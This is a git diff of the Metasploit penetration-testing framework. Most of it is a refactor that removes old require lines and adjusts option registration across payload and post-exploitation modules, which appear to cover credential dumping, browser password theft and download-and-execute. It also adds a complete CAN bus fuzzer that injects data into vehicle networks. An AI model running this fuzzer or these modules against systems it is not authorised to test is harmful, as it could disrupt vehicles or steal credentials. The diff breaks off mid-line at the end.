b/modules/payloads/stages/osx/x86/bundleinject.rb index 4a5650a2ea..2af0fac600 100644 --- a/modules/payloads/stages/osx/x86/bundleinject.rb +++ b/modules/payloads/stages/osx/x86/bundleinject.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/osx/bundleinject' ### diff --git a/modules/payloads/stages/osx/x86/isight.rb b/modules/payloads/stages/osx/x86/isight.rb index 2c926ad6a9..c95d117ade 100644 --- a/modules/payloads/stages/osx/x86/isight.rb +++ b/modules/payloads/stages/osx/x86/isight.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/osx/bundleinject' require 'msf/base/sessions/vncinject' require 'fileutils' @@ -44,7 +43,7 @@ module MetasploitModule "Automatically open the picture in a browser ", true ]) - ], self.class) + ]) end def on_session(session) diff --git a/modules/payloads/stages/osx/x86/vforkshell.rb b/modules/payloads/stages/osx/x86/vforkshell.rb index 5dc5b6a4fd..2955f2b63a 100644 --- a/modules/payloads/stages/osx/x86/vforkshell.rb +++ b/modules/payloads/stages/osx/x86/vforkshell.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/stages/php/meterpreter.rb b/modules/payloads/stages/php/meterpreter.rb index 4be5f679e3..81a50b3455 100644 --- a/modules/payloads/stages/php/meterpreter.rb +++ b/modules/payloads/stages/php/meterpreter.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/meterpreter_php' require 'msf/base/sessions/meterpreter_options' diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb index 46c24caac4..2f33c31801 100644 --- a/modules/payloads/stages/python/meterpreter.rb +++ b/modules/payloads/stages/python/meterpreter.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/python' require 'msf/core/payload/python/meterpreter_loader' diff --git a/modules/payloads/stages/windows/dllinject.rb b/modules/payloads/stages/windows/dllinject.rb index 2c6a5adc72..c7afc4f6e9 100644 --- a/modules/payloads/stages/windows/dllinject.rb +++ b/modules/payloads/stages/windows/dllinject.rb @@ -5,7 +5,6 @@ # Copyright (c) 2008 Stephen Fewer of Harmony Security (www.harmonysecurity.com) -require 'msf/core' require 'msf/core/payload/windows/reflectivedllinject' ### diff --git a/modules/payloads/stages/windows/meterpreter.rb b/modules/payloads/stages/windows/meterpreter.rb index 20a5d0944d..f3a855a8eb 100644 --- a/modules/payloads/stages/windows/meterpreter.rb +++ b/modules/payloads/stages/windows/meterpreter.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/payload/windows/meterpreter_loader' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' diff --git a/modules/payloads/stages/windows/patchupdllinject.rb b/modules/payloads/stages/windows/patchupdllinject.rb index 9228ccd055..f763c035f7 100644 --- a/modules/payloads/stages/windows/patchupdllinject.rb +++ b/modules/payloads/stages/windows/patchupdllinject.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/windows/dllinject' ### diff --git a/modules/payloads/stages/windows/patchupmeterpreter.rb b/modules/payloads/stages/windows/patchupmeterpreter.rb index 3a61de9590..f095ceea98 100644 --- a/modules/payloads/stages/windows/patchupmeterpreter.rb +++ b/modules/payloads/stages/windows/patchupmeterpreter.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/payload/windows/dllinject' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' diff --git a/modules/payloads/stages/windows/shell.rb b/modules/payloads/stages/windows/shell.rb index 4a5f9e9b93..cd8b3f5320 100644 --- a/modules/payloads/stages/windows/shell.rb +++ b/modules/payloads/stages/windows/shell.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/stages/windows/upexec.rb b/modules/payloads/stages/windows/upexec.rb index 8d71bd79f7..73b88189e6 100644 --- a/modules/payloads/stages/windows/upexec.rb +++ b/modules/payloads/stages/windows/upexec.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' @@ -63,7 +62,7 @@ module MetasploitModule register_options( [ OptPath.new('PEXEC', [ true, "Full path to the file to upload and execute" ]) - ], self.class) + ]) end # diff --git a/modules/payloads/stages/windows/vncinject.rb b/modules/payloads/stages/windows/vncinject.rb index 3683471406..33f3ebddb1 100644 --- a/modules/payloads/stages/windows/vncinject.rb +++ b/modules/payloads/stages/windows/vncinject.rb @@ -5,7 +5,6 @@ # Copyright (c) 2008 Stephen Fewer of Harmony Security (www.harmonysecurity.com) -require 'msf/core' require 'msf/core/payload/windows/reflectivedllinject' require 'msf/base/sessions/vncinject' require 'msf/base/sessions/vncinject_options' diff --git a/modules/payloads/stages/windows/x64/meterpreter.rb b/modules/payloads/stages/windows/x64/meterpreter.rb index 3e02ca64ec..c2f46b1917 100644 --- a/modules/payloads/stages/windows/x64/meterpreter.rb +++ b/modules/payloads/stages/windows/x64/meterpreter.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/payload/windows/x64/meterpreter_loader' require 'msf/base/sessions/meterpreter_x64_win' require 'msf/base/sessions/meterpreter_options' diff --git a/modules/payloads/stages/windows/x64/shell.rb b/modules/payloads/stages/windows/x64/shell.rb index 4ea88d2936..3d45226bff 100644 --- a/modules/payloads/stages/windows/x64/shell.rb +++ b/modules/payloads/stages/windows/x64/shell.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/stages/windows/x64/vncinject.rb b/modules/payloads/stages/windows/x64/vncinject.rb index 0b9ef245f4..fa68387662 100644 --- a/modules/payloads/stages/windows/x64/vncinject.rb +++ b/modules/payloads/stages/windows/x64/vncinject.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/windows/x64/reflectivedllinject' require 'msf/base/sessions/vncinject' require 'msf/base/sessions/vncinject_options' diff --git a/modules/post/aix/hashdump.rb b/modules/post/aix/hashdump.rb index fa87300d18..b3cfbc6a6a 100644 --- a/modules/post/aix/hashdump.rb +++ b/modules/post/aix/hashdump.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/android/capture/screen.rb b/modules/post/android/capture/screen.rb index fd59559c57..025accbe5e 100644 --- a/modules/post/android/capture/screen.rb +++ b/modules/post/android/capture/screen.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File @@ -26,7 +23,7 @@ class MetasploitModule < Msf::Post [ OptString.new('TMP_PATH', [true, 'Path to remote temp directory', '/data/local/tmp/']), OptString.new('EXE_PATH', [true, 'Path to remote screencap executable', '/system/bin/screencap']) - ], self.class) + ]) end def run diff --git a/modules/post/android/manage/remove_lock.rb b/modules/post/android/manage/remove_lock.rb index 84087c6e21..8fc70b1fb1 100644 --- a/modules/post/android/manage/remove_lock.rb +++ b/modules/post/android/manage/remove_lock.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post Rank = NormalRanking diff --git a/modules/post/android/manage/remove_lock_root.rb b/modules/post/android/manage/remove_lock_root.rb index 0ae5eebf89..e3e3a0da91 100644 --- a/modules/post/android/manage/remove_lock_root.rb +++ b/modules/post/android/manage/remove_lock_root.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::Common diff --git a/modules/post/cisco/gather/enum_cisco.rb b/modules/post/cisco/gather/enum_cisco.rb index 96045defac..0f0a5b91e7 100644 --- a/modules/post/cisco/gather/enum_cisco.rb +++ b/modules/post/cisco/gather/enum_cisco.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/cisco' class MetasploitModule < Msf::Post @@ -25,7 +23,7 @@ class MetasploitModule < Msf::Post [ OptString.new('ENABLE', [ false, 'Enable password for changing privilege level.']), OptPath.new('WORDLIST', [false, 'Wordlist of possible enable passwords to try.']) - ], self.class) + ]) end diff --git a/modules/post/firefox/gather/cookies.rb b/modules/post/firefox/gather/cookies.rb index 759e70c05f..6f444f7297 100644 --- a/modules/post/firefox/gather/cookies.rb +++ b/modules/post/firefox/gather/cookies.rb @@ -4,8 +4,6 @@ ## require 'json' -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Exploit::Remote::FirefoxPrivilegeEscalation @@ -23,7 +21,7 @@ class MetasploitModule < Msf::Post register_options([ OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90]) - ], self.class) + ]) end def run diff --git a/modules/post/firefox/gather/history.rb b/modules/post/firefox/gather/history.rb index f35e4e02c8..aa6bac07cc 100644 --- a/modules/post/firefox/gather/history.rb +++ b/modules/post/firefox/gather/history.rb @@ -4,8 +4,6 @@ ## require 'json' -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Exploit::Remote::FirefoxPrivilegeEscalation @@ -24,7 +22,7 @@ class MetasploitModule < Msf::Post register_options([ OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90]) - ], self.class) + ]) end def run diff --git a/modules/post/firefox/gather/passwords.rb b/modules/post/firefox/gather/passwords.rb index 714b3f5a29..6bc80ced40 100644 --- a/modules/post/firefox/gather/passwords.rb +++ b/modules/post/firefox/gather/passwords.rb @@ -4,7 +4,6 @@ ## require 'json' -require 'msf/core' require 'msf/core/payload/firefox' class MetasploitModule < Msf::Post @@ -25,7 +24,7 @@ class MetasploitModule < Msf::Post register_options([ OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90]) - ], self.class) + ]) end def run diff --git a/modules/post/firefox/gather/xss.rb b/modules/post/firefox/gather/xss.rb index 978f57a9d9..d70f41f4a7 100644 --- a/modules/post/firefox/gather/xss.rb +++ b/modules/post/firefox/gather/xss.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'json' require 'msf/core/payload/firefox' @@ -33,7 +32,7 @@ class MetasploitModule < Msf::Post true, "URL to inject into", 'http://metasploit.com' ]), OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90]) - ], self.class) + ]) end def run diff --git a/modules/post/firefox/manage/webcam_chat.rb b/modules/post/firefox/manage/webcam_chat.rb index ff87056b00..e28a463e47 100644 --- a/modules/post/firefox/manage/webcam_chat.rb +++ b/modules/post/firefox/manage/webcam_chat.rb @@ -4,8 +4,6 @@ ## require 'json' -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Exploit::Remote::FirefoxPrivilegeEscalation @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Post OptBool.new('VISIBLE', [false, "Show a window containing the chat to the target", false]), OptInt.new('TIMEOUT', [false, "End the chat session after this many seconds", -1]), OptString.new('ICESERVER', [true, "The ICE server that sets up the P2P connection", 'wsnodejs.jit.su:80']) - ], self.class) + ]) end def run diff --git a/modules/post/hardware/automotive/canprobe.rb b/modules/post/hardware/automotive/canprobe.rb new file mode 100644 index 0000000000..ad899f0458 --- /dev/null +++ b/modules/post/hardware/automotive/canprobe.rb @@ -0,0 +1,58 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Post + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Module to Probe Different Data Points in a CAN Packet', + 'Description' => %q{ + Scans between two CAN IDs and writes data at each byte position. It will + either write a set byte value (Default 0xFF) or iterate through all possible values + of that byte position (takes much longer). Does not check for responses and is + basically a simple blind fuzzer. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Craig Smith'], + 'Platform' => ['hardware'], + 'SessionTypes' => ['hwbridge'] + )) + register_options([ + OptInt.new('STARTID', [false, "CAN ID to start scan", 0x300]), + OptInt.new('STOPID', [false, "CAN ID to stop scan", nil]), + OptInt.new('PROBEVALUE', [false, "Value to inject in the data stream", 0xFF]), + OptInt.new('PADDING', [false, "If a value is given a full 8 bytes will be used and padded with this value", nil]), + OptBool.new('FUZZ', [false, "If true interates through all possible values for each data position", false]), + OptString.new('CANBUS', [false, "CAN Bus to perform scan on, defaults to connected bus", nil]) + ]) + end + + def run + unless client.automotive + print_error("The hwbridge requires a functional automotive extention") + return + end + stopid = datastore['STARTID'] + stopid = datastore['STOPID'] unless datastore['STOPID'].nil? + data = "%02X" % datastore['PROBEVALUE'] + (datastore['STARTID']..stopid).each do |id| + print_status("Probing 0x#{id.to_s(16)}...") + (0..7).each do |pos| + padding = "00" * pos + endpadding = "" + endpadding = ("%02X" % datastore['PADDING']) * (7-pos) if not datastore['PADDING'].nil? + if datastore['FUZZ'] then + (0..255).each do |fuzzdata| + client.automotive.cansend(datastore['CANBUS'], id.to_s(16), padding + ("%02X" % fuzzdata) + endpadding) + end + else + client.automotive.cansend(datastore['CANBUS'], id.to_s(16), padding + data + endpadding) + end + end + end + print_status("Probe Complete") + end + +end diff --git a/modules/post/hardware/automotive/getvinfo.rb b/modules/post/hardware/automotive/getvinfo.rb index afd8988972..9d8f3389ea 100644 --- a/modules/post/hardware/automotive/getvinfo.rb +++ b/modules/post/hardware/automotive/getvinfo.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/post/hardware/automotive/uds' class MetasploitModule < Msf::Post @@ -28,7 +26,7 @@ class MetasploitModule < Msf::Post OptInt.new('DSTID', [false, "Expected reponse ID, defaults to SRCID + 8", 0x7e8]), OptBool.new('CLEAR_DTCS', [false, "Clear any DTCs and reset MIL if errors are present", false]), OptString.new('CANBUS', [false, "CAN Bus to perform scan on, defaults to connected bus", nil]) - ], self.class) + ]) end diff --git a/modules/post/hardware/automotive/identifymodules.rb b/modules/post/hardware/automotive/identifymodules.rb index f9744bbbd3..3a739bbe36 100644 --- a/modules/post/hardware/automotive/identifymodules.rb +++ b/modules/post/hardware/automotive/identifymodules.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/post/hardware/automotive/uds' class MetasploitModule < Msf::Post @@ -24,7 +22,7 @@ class MetasploitModule < Msf::Post OptInt.new('STARTID', [true, "Start scan from this ID", 0x600]), OptInt.new('ENDID', [true, "End scan at this ID", 0x7F7]), OptString.new('CANBUS', [false, "CAN Bus to perform scan on, defaults to connected bus", nil]) - ], self.class) + ]) @found_id = [] end diff --git a/modules/post/hardware/automotive/malibu_overheat.rb b/modules/post/hardware/automotive/malibu_overheat.rb index 87e4c1bfd0..83ae933391 100644 --- a/modules/post/hardware/automotive/malibu_overheat.rb +++ b/modules/post/hardware/automotive/malibu_overheat.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post def initialize(info={}) @@ -20,7 +17,7 @@ class MetasploitModule < Msf::Post register_options([ OptInt.new('PACKET_COUNT', [false, "How many packets to send before stopping", 200]), OptString.new('CANBUS', [false, "CAN Bus to perform scan on, defaults to connected bus", nil]) - ], self.class) + ]) end def run diff --git a/modules/post/hardware/rftransceiver/rfpwnon.rb b/modules/post/hardware/rftransceiver/rfpwnon.rb index 567a241c07..30dbe9db41 100644 --- a/modules/post/hardware/rftransceiver/rfpwnon.rb +++ b/modules/post/hardware/rftransceiver/rfpwnon.rb @@ -26,7 +26,7 @@ class MetasploitModule < Msf::Post OptBool.new('EXTRAVERBOSE', [false, "More verbose", false]), OptInt.new('INDEX', [false, "USB Index to use", 0]), OptInt.new('DELAY', [false, "Delay in milliseconds between transmissions", 500]) - ], self.class) + ]) @zeropwm = "1110" @onepwm = "1000" @brutechar = "01" diff --git a/modules/post/hardware/rftransceiver/transmitter.rb b/modules/post/hardware/rftransceiver/transmitter.rb index d36533d56e..cf245e5317 100644 --- a/modules/post/hardware/rftransceiver/transmitter.rb +++ b/modules/post/hardware/rftransceiver/transmitter.rb @@ -29,7 +29,7 @@ class MetasploitModule < Msf::Post OptInt.new('BAUD', [false, "Baud rate to use", 4800]), OptInt.new('POWER', [false, "Power level", 100]), OptInt.new('INDEX', [false, "USB Index to use", 0]) - ], self.class) + ]) end diff --git a/modules/post/hardware/zigbee/zstumbler.rb b/modules/post/hardware/zigbee/zstumbler.rb index 074132a139..beb877dbb4 100644 --- a/modules/post/hardware/zigbee/zstumbler.rb +++ b/modules/post/hardware/zigbee/zstumbler.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/post/hardware/zigbee/utils' class MetasploitModule < Msf::Post @@ -26,7 +24,7 @@ class MetasploitModule < Msf::Post OptInt.new('LOOP', [false, "How many times to loop over the channels (-1 will run in an endless loop)", 1]), OptInt.new('DELAY', [false, "Delay in seconds to listen on each channel", 2]), OptString.new('DEVICE', [false, "ZigBee device ID, defaults to target device", nil]) - ], self.class) + ]) @seq = 0 @channel = 11 @stumbled = {} diff --git a/modules/post/linux/busybox/enum_connections.rb b/modules/post/linux/busybox/enum_connections.rb index 47b2ca2e29..54e0d4f2bf 100644 --- a/modules/post/linux/busybox/enum_connections.rb +++ b/modules/post/linux/busybox/enum_connections.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/linux/busybox/enum_hosts.rb b/modules/post/linux/busybox/enum_hosts.rb index 0d63021bf6..77808cd131 100644 --- a/modules/post/linux/busybox/enum_hosts.rb +++ b/modules/post/linux/busybox/enum_hosts.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/linux/busybox/jailbreak.rb b/modules/post/linux/busybox/jailbreak.rb index 71b1d87852..3bf5f9e570 100644 --- a/modules/post/linux/busybox/jailbreak.rb +++ b/modules/post/linux/busybox/jailbreak.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post METHODS = [ diff --git a/modules/post/linux/busybox/ping_net.rb b/modules/post/linux/busybox/ping_net.rb index 84c1d280c2..f82752c991 100644 --- a/modules/post/linux/busybox/ping_net.rb +++ b/modules/post/linux/busybox/ping_net.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File @@ -25,7 +23,7 @@ class MetasploitModule < Msf::Post register_options( [ OptAddressRange.new('RANGE', [true, 'IP range to ping']) - ], self.class) + ]) end def run diff --git a/modules/post/linux/busybox/set_dmz.rb b/modules/post/linux/busybox/set_dmz.rb index ee86fec3ee..7774a94c15 100644 --- a/modules/post/linux/busybox/set_dmz.rb +++ b/modules/post/linux/busybox/set_dmz.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post def initialize @@ -23,7 +21,7 @@ class MetasploitModule < Msf::Post register_options([ OptAddress.new('TARGET_HOST', [ true, 'The address of the target host']), OptBool.new('DELETE', [true, 'Remove host from the DMZ, otherwise will add it', false]) - ], self.class) + ]) end def run diff --git a/modules/post/linux/busybox/set_dns.rb b/modules/post/linux/busybox/set_dns.rb index 274b253750..c5d3dbae13 100644 --- a/modules/post/linux/busybox/set_dns.rb +++ b/modules/post/linux/busybox/set_dns.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File @@ -27,7 +25,7 @@ class MetasploitModule < Msf::Post register_options( [ OptAddress.new('DNS', [ true, 'The dns server address' ]) - ], self.class) + ]) end def run diff --git a/modules/post/linux/busybox/smb_share_root.rb b/modules/post/linux/busybox/smb_share_root.rb index 4570a66659..110386e401 100644 --- a/modules/post/linux/busybox/smb_share_root.rb +++ b/modules/post/linux/busybox/smb_share_root.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/linux/busybox/wget_exec.rb b/modules/post/linux/busybox/wget_exec.rb index 7a55694dc4..4db60c38e3 100644 --- a/modules/post/linux/busybox/wget_exec.rb +++ b/modules/post/linux/busybox/wget_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File @@ -26,7 +24,7 @@ class MetasploitModule < Msf::Post register_options( [ OptString.new('URL', [true, 'Full URL of file to download']) - ], self.class) + ]) end def run diff --git a/modules/post/linux/dos/xen_420_dos.rb b/modules/post/linux/dos/xen_420_dos.rb index d8ce4ce7bf..07bcdb4bfa 100644 --- a/modules/post/linux/dos/xen_420_dos.rb +++ b/modules/post/linux/dos/xen_420_dos.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Linux::Priv diff --git a/modules/post/linux/gather/checkvm.rb b/modules/post/linux/gather/checkvm.rb index d7feb3cfdf..72ee84aa62 100644 --- a/modules/post/linux/gather/checkvm.rb +++ b/modules/post/linux/gather/checkvm.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/linux/gather/ecryptfs_creds.rb b/modules/post/linux/gather/ecryptfs_creds.rb index ca171c856d..cf0666f937 100644 --- a/modules/post/linux/gather/ecryptfs_creds.rb +++ b/modules/post/linux/gather/ecryptfs_creds.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/linux/gather/enum_configs.rb b/modules/post/linux/gather/enum_configs.rb index bff25534cb..6caae3c48d 100644 --- a/modules/post/linux/gather/enum_configs.rb +++ b/modules/post/linux/gather/enum_configs.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::Linux::System diff --git a/modules/post/linux/gather/enum_network.rb b/modules/post/linux/gather/enum_network.rb index 9fa3847f37..d09545ff73 100644 --- a/modules/post/linux/gather/enum_network.rb +++ b/modules/post/linux/gather/enum_network.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/linux/gather/enum_protections.rb b/modules/post/linux/gather/enum_protections.rb index a3fec3f4f8..02aabc0bce 100644 --- a/modules/post/linux/gather/enum_protections.rb +++ b/modules/post/linux/gather/enum_protections.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/linux/gather/enum_psk.rb b/modules/post/linux/gather/enum_psk.rb index 6106d81910..03c56dfc15 100644 --- a/modules/post/linux/gather/enum_psk.rb +++ b/modules/post/linux/gather/enum_psk.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Post OptString.new('DIR', [true, 'The default path for network connections', '/etc/NetworkManager/system-connections/'] ) - ], self.class) + ]) end def dir diff --git a/modules/post/linux/gather/enum_system.rb b/modules/post/linux/gather/enum_system.rb index 6c9b242fa4..423ed09e87 100644 --- a/modules/post/linux/gather/enum_system.rb +++ b/modules/post/linux/gather/enum_system.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/linux/gather/enum_users_history.rb b/modules/post/linux/gather/enum_users_history.rb index 8eeead4bf4..249e96fcf5 100644 --- a/modules/post/linux/gather/enum_users_history.rb +++ b/modules/post/linux/gather/enum_users_history.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/linux/gather/enum_xchat.rb b/modules/post/linux/gather/enum_xchat.rb index c4b236a5f4..e88657ecd3 100644 --- a/modules/post/linux/gather/enum_xchat.rb +++ b/modules/post/linux/gather/enum_xchat.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/linux/gather/hashdump.rb b/modules/post/linux/gather/hashdump.rb index 6a18d942a1..36ec5dec58 100644 --- a/modules/post/linux/gather/hashdump.rb +++ b/modules/post/linux/gather/hashdump.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/linux/gather/mount_cifs_creds.rb b/modules/post/linux/gather/mount_cifs_creds.rb index 7c095ff3b1..f0d113cf13 100644 --- a/modules/post/linux/gather/mount_cifs_creds.rb +++ b/modules/post/linux/gather/mount_cifs_creds.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/linux/gather/openvpn_credentials.rb b/modules/post/linux/gather/openvpn_credentials.rb index 0cd46d392e..6fefe7f175 100644 --- a/modules/post/linux/gather/openvpn_credentials.rb +++ b/modules/post/linux/gather/openvpn_credentials.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/linux/gather/pptpd_chap_secrets.rb b/modules/post/linux/gather/pptpd_chap_secrets.rb index 06641f8603..7cbb1e5e64 100644 --- a/modules/post/linux/gather/pptpd_chap_secrets.rb +++ b/modules/post/linux/gather/pptpd_chap_secrets.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File @@ -26,7 +24,7 @@ class MetasploitModule < Msf::Post register_options( [ OptString.new('FILE', [true, 'The default path for chap-secrets', '/etc/ppp/chap-secrets']) - ], self.class) + ]) end diff --git a/modules/post/linux/manage/download_exec.rb b/modules/post/linux/manage/download_exec.rb index 548540a9a2..f335da1993 100644 --- a/modules/post/linux/manage/download_exec.rb +++ b/modules/post/linux/manage/download_exec.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File @@ -31,7 +28,7 @@ class MetasploitModule < Msf::Post register_options( [ OptString.new('URL', [true, 'Full URL of file to download.']) - ], self.class) + ]) end def cmd_exec_vprint(cmd) diff --git a/modules/post/multi/escalate/aws_create_iam_user.rb b/modules/post/multi/escalate/aws_create_iam_user.rb index 19e4122af1..8419dc50f3 100644 --- a/modules/post/multi/escalate/aws_create_iam_user.rb +++ b/modules/post/multi/escalate/aws_create_iam_user.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/aws/client' require 'json' diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index 195d8fe714..abc6bea7ff 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Post OptString.new("ERROR_LOG", [true, "The original path to the CUPS error log", '/var/log/cups/error_log'] ) - ], self.class) + ]) end def check_exploitability diff --git a/modules/post/multi/escalate/metasploit_pcaplog.rb b/modules/post/multi/escalate/metasploit_pcaplog.rb index 558b886fa1..fd68a61acb 100644 --- a/modules/post/multi/escalate/metasploit_pcaplog.rb +++ b/modules/post/multi/escalate/metasploit_pcaplog.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/exploit/local/linux' class MetasploitModule < Msf::Post diff --git a/modules/post/multi/gather/apple_ios_backup.rb b/modules/post/multi/gather/apple_ios_backup.rb index 